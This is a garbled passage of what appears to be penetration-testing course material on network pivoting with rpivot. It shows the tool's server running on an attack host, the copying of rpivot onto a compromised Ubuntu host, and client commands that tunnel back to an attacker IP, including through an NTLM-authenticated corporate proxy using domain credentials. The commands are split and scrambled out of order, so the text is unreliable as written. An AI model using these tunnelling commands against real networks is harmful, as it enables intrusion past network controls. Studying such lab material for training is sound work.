

Confirming Connection is Established w1j0y@htb[/htb]\$ python2.7 server.py ------ Running server.py from the Attack Host ----- proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 Transferring rpivot to the Target w1j0y@htb[/htb]\$ scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/ auntu/------

ubuntu@WEB01:~/rpivot\$ python2.7 Running client.py from Pivot Target — client.py --server-ip 10.10.14.18 --server-port

Similar to the pivot proxy above, there Ubuntu Pivot Host — could be scenarios when we cannot directly pivot to an external server (attack host) on the cloud. Some organizations have HTTP-proxy with NTLM authentication configured with the Domain Controller. In such cases, we can provide an additional NTLM authentication option to rpivot to authenticate via the NTLM proxy by providing a username and password. In these cases, we could use rpivot's client.py in the following way:

Connecting to a Web Server using HTTP-Proxy & NTLM Auth

port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> -username <username> --password <password>

python client.py --server-ip <IPaddressofTargetWebServer> --server-

Web Server on port 80